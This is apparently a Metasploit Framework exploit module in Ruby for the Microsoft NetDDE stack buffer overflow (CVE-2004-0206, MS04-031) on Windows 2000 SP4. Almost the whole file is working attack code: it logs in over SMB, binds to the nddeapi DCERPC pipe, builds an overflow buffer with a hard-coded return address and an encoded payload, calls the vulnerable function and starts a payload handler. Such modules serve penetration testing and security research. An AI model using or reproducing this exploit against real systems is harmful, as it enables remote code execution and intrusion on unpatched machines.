100 lines
2.5 KiB
Ruby
100 lines
2.5 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::DCERPC
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include Msf::Exploit::Remote::SMB
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft NetDDE Service Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the NetDDE service, which is the
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precursor to the DCOM interface. This exploit effects only operating systems
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released prior to Windows XP SP1 (2000 SP4, XP SP0). Despite Microsoft's claim
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that this vulnerability can be exploited without authentication, the NDDEAPI
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pipe is only accessible after successful authentication.
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},
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'Author' => [ 'pusscat' ],
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'License' => BSD_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2004-0206'],
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[ 'OSVDB', '10689'],
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[ 'BID', '11372'],
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[ 'MSB', 'MS04-031'],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Payload' =>
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{
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'Space' => (0x600 - (133*4) - 4),
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'BadChars' => "\\/.:$\x00", # \ / . : $ NULL
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'Prepend' => 'A' * 8,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 SP4', { 'Ret' => 0x77e56f43 } ], # push esp, ret :)
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Oct 12 2004'))
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register_options(
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[
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OptString.new('SMBPIPE', [ true, "The pipe name to use (nddeapi)", 'nddeapi']),
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], self.class)
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end
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def exploit
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connect()
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smb_login()
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print_status("Trying target #{target.name}...")
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handle = dcerpc_handle('2f5f3220-c126-1076-b549-074d078619da', '1.2', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
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print_status("Binding to #{handle}")
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dcerpc_bind(handle)
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print_status("Bound to #{handle}")
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retOverWrite =
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'AA' + (NDR.long(target.ret) * 133) + payload.encoded
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overflowChunk =
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retOverWrite +
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NDR.long(0xCA7CA7) + # Mew. 3 bytes enter. 1 byte null.
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NDR.long(0x0)
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stubdata =
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NDR.UnicodeConformantVaryingStringPreBuilt(overflowChunk) +
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NDR.long(rand(0xFFFFFFFF))
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print_status('Calling the vulnerable function...')
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begin
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response = dcerpc.call(0xc, stubdata)
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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end
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handler
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disconnect
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end
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end
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